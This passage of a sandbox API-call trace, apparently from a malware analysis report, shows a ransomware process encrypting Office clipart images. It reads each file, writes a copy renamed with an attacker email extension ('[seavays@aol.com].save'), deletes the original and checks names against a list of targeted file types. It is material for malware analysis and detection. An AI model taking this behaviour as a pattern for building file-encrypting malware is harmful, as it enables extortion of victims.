(lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0162.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0162.350] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0162.350] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0162.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0162.351] GetLastError () returned 0x0 [0162.351] ReadFile (in: hFile=0x344, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0xab74, lpOverlapped=0x0) returned 1 [0162.354] WriteFile (in: hFile=0x3a4, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xab80, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xab80, lpOverlapped=0x0) returned 1 [0162.356] ReadFile (in: hFile=0x344, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0162.356] WriteFile (in: hFile=0x3a4, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0162.356] SetEndOfFile (hFile=0x3a4) returned 1 [0162.356] CloseHandle (hObject=0x3a4) returned 1 [0162.357] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0162.357] SetEndOfFile (hFile=0x344) returned 1 [0162.361] CloseHandle (hObject=0x344) returned 1 [0162.361] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0162.361] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg")) returned 1 [0162.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0162.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0162.362] lstrlenW (lpString=".doc") returned 4 [0162.362] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0162.362] lstrlenW (lpString=".docx") returned 5 [0162.362] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0162.362] lstrlenW (lpString=".pdf") returned 4 [0162.362] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0162.362] lstrlenW (lpString=".xls") returned 4 [0162.362] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0162.362] lstrlenW (lpString=".xlsx") returned 5 [0162.362] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0162.362] lstrlenW (lpString=".ppt") returned 4 [0162.362] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0162.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0162.362] lstrlenW (lpString=".zip") returned 4 [0162.362] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0162.362] lstrlenW (lpString=".rar") returned 4 [0162.362] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0162.362] lstrlenW (lpString=".bz2") returned 4 [0162.362] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0162.362] lstrlenW (lpString=".7z") returned 3 [0162.362] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0162.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0162.362] lstrlenW (lpString=".dbf") returned 4 [0162.362] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0162.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0162.363] lstrlenW (lpString=".1cd") returned 4 [0162.363] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0162.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0162.363] lstrlenW (lpString=".jpg") returned 4 [0162.363] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0162.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0162.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0162.363] lstrlenW (lpString=".doc") returned 4 [0162.363] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0162.363] lstrlenW (lpString=".docx") returned 5 [0162.363] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0162.363] lstrlenW (lpString=".pdf") returned 4 [0162.363] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0162.363] lstrlenW (lpString=".xls") returned 4 [0162.363] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0162.363] lstrlenW (lpString=".xlsx") returned 5 [0162.363] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0162.363] lstrlenW (lpString=".ppt") returned 4 [0162.363] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0162.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0162.363] lstrlenW (lpString=".zip") returned 4 [0162.363] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0162.363] lstrlenW (lpString=".rar") returned 4 [0162.363] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0162.363] lstrlenW (lpString=".bz2") returned 4 [0162.363] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0162.363] lstrlenW (lpString=".7z") returned 3 [0162.364] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0162.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0162.364] lstrlenW (lpString=".dbf") returned 4 [0162.364] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0162.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0162.364] lstrlenW (lpString=".1cd") returned 4 [0162.364] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0162.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0162.364] lstrlenW (lpString=".jpg") returned 4 [0162.364] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0162.364] lstrcmpiW (lpString1=".JPG", lpString2=".save") returned -1 [0162.364] lstrlenW (lpString="J0099191.JPG") returned 12 [0162.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0162.365] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=62367) returned 1 [0162.365] CloseHandle (hObject=0x344) returned 1 [0162.365] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg")) returned 0x220 [0162.365] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0162.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0162.365] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0162.365] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0162.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0162.366] GetLastError () returned 0x0 [0162.366] ReadFile (in: hFile=0x344, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0xf39f, lpOverlapped=0x0) returned 1 [0162.791] WriteFile (in: hFile=0x3a4, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xf3a0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xf3a0, lpOverlapped=0x0) returned 1 [0162.794] ReadFile (in: hFile=0x344, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0162.794] WriteFile (in: hFile=0x3a4, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0162.794] SetEndOfFile (hFile=0x3a4) returned 1 [0163.148] CloseHandle (hObject=0x3a4) returned 1 [0163.148] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0163.148] SetEndOfFile (hFile=0x344) returned 1 [0163.153] CloseHandle (hObject=0x344) returned 1 [0163.153] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0163.153] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg")) returned 1 [0163.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0163.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0163.154] lstrlenW (lpString=".doc") returned 4 [0163.154] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0163.154] lstrlenW (lpString=".docx") returned 5 [0163.154] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0163.154] lstrlenW (lpString=".pdf") returned 4 [0163.154] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0163.154] lstrlenW (lpString=".xls") returned 4 [0163.154] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0163.154] lstrlenW (lpString=".xlsx") returned 5 [0163.154] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0163.154] lstrlenW (lpString=".ppt") returned 4 [0163.154] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0163.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0163.154] lstrlenW (lpString=".zip") returned 4 [0163.154] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0163.155] lstrlenW (lpString=".rar") returned 4 [0163.155] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0163.155] lstrlenW (lpString=".bz2") returned 4 [0163.155] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0163.155] lstrlenW (lpString=".7z") returned 3 [0163.155] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0163.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0163.155] lstrlenW (lpString=".dbf") returned 4 [0163.155] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0163.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0163.155] lstrlenW (lpString=".1cd") returned 4 [0163.155] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0163.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0163.155] lstrlenW (lpString=".jpg") returned 4 [0163.155] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0163.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0163.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0163.155] lstrlenW (lpString=".doc") returned 4 [0163.155] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0163.155] lstrlenW (lpString=".docx") returned 5 [0163.155] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0163.155] lstrlenW (lpString=".pdf") returned 4 [0163.155] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0163.155] lstrlenW (lpString=".xls") returned 4 [0163.155] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0163.155] lstrlenW (lpString=".xlsx") returned 5 [0163.155] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0163.155] lstrlenW (lpString=".ppt") returned 4 [0163.155] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0163.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0163.155] lstrlenW (lpString=".zip") returned 4 [0163.155] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0163.156] lstrlenW (lpString=".rar") returned 4 [0163.156] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0163.156] lstrlenW (lpString=".bz2") returned 4 [0163.156] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0163.156] lstrlenW (lpString=".7z") returned 3 [0163.156] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0163.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0163.156] lstrlenW (lpString=".dbf") returned 4 [0163.156] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0163.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0163.156] lstrlenW (lpString=".1cd") returned 4 [0163.156] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0163.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0163.156] lstrlenW (lpString=".jpg") returned 4 [0163.156] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0163.156] lstrcmpiW (lpString1=".GIF", lpString2=".save") returned -1 [0163.156] lstrlenW (lpString="J0099196.GIF") returned 12 [0163.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0163.157] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=14337) returned 1 [0163.157] CloseHandle (hObject=0x344) returned 1 [0163.157] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif")) returned 0x220 [0163.157] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0163.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0163.158] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0163.158] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0163.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0163.159] GetLastError () returned 0x0 [0163.159] ReadFile (in: hFile=0x344, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x3801, lpOverlapped=0x0) returned 1 [0163.160] WriteFile (in: hFile=0x3a4, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x3810, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x3810, lpOverlapped=0x0) returned 1 [0163.162] ReadFile (in: hFile=0x344, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0163.162] WriteFile (in: hFile=0x3a4, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0163.162] SetEndOfFile (hFile=0x3a4) returned 1 [0163.162] CloseHandle (hObject=0x3a4) returned 1 [0163.162] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0163.162] SetEndOfFile (hFile=0x344) returned 1 [0163.166] CloseHandle (hObject=0x344) returned 1 [0163.166] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0163.167] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif")) returned 1 [0163.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0163.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0163.168] lstrlenW (lpString=".doc") returned 4 [0163.168] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0163.168] lstrlenW (lpString=".docx") returned 5 [0163.168] lstrcmpiW (lpString1=".docx", lpString2="6.GIF") returned -1 [0163.168] lstrlenW (lpString=".pdf") returned 4 [0163.168] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0163.168] lstrlenW (lpString=".xls") returned 4 [0163.168] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0163.168] lstrlenW (lpString=".xlsx") returned 5 [0163.168] lstrcmpiW (lpString1=".xlsx", lpString2="6.GIF") returned -1 [0163.168] lstrlenW (lpString=".ppt") returned 4 [0163.168] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0163.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0163.168] lstrlenW (lpString=".zip") returned 4 [0163.168] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0163.168] lstrlenW (lpString=".rar") returned 4 [0163.169] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0163.169] lstrlenW (lpString=".bz2") returned 4 [0163.169] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0163.169] lstrlenW (lpString=".7z") returned 3 [0163.169] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0163.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0163.169] lstrlenW (lpString=".dbf") returned 4 [0163.169] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0163.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0163.169] lstrlenW (lpString=".1cd") returned 4 [0163.169] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0163.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0163.169] lstrlenW (lpString=".jpg") returned 4 [0163.169] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0163.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0163.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0163.169] lstrlenW (lpString=".doc") returned 4 [0163.169] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0163.169] lstrlenW (lpString=".docx") returned 5 [0163.169] lstrcmpiW (lpString1=".docx", lpString2="6.GIF") returned -1 [0163.169] lstrlenW (lpString=".pdf") returned 4 [0163.169] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0163.169] lstrlenW (lpString=".xls") returned 4 [0163.169] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0163.169] lstrlenW (lpString=".xlsx") returned 5 [0163.169] lstrcmpiW (lpString1=".xlsx", lpString2="6.GIF") returned -1 [0163.170] lstrlenW (lpString=".ppt") returned 4 [0163.170] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0163.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0163.170] lstrlenW (lpString=".zip") returned 4 [0163.170] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0163.170] lstrlenW (lpString=".rar") returned 4 [0163.170] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0163.170] lstrlenW (lpString=".bz2") returned 4 [0163.170] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0163.170] lstrlenW (lpString=".7z") returned 3 [0163.170] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0163.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0163.170] lstrlenW (lpString=".dbf") returned 4 [0163.170] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0163.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0163.170] lstrlenW (lpString=".1cd") returned 4 [0163.170] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0163.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0163.170] lstrlenW (lpString=".jpg") returned 4 [0163.170] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0163.170] lstrcmpiW (lpString1=".GIF", lpString2=".save") returned -1 [0163.171] lstrlenW (lpString="J0099197.GIF") returned 12 [0163.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0163.171] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=10898) returned 1 [0163.172] CloseHandle (hObject=0x344) returned 1 [0163.172] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif")) returned 0x220 [0163.172] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0163.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0163.172] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, 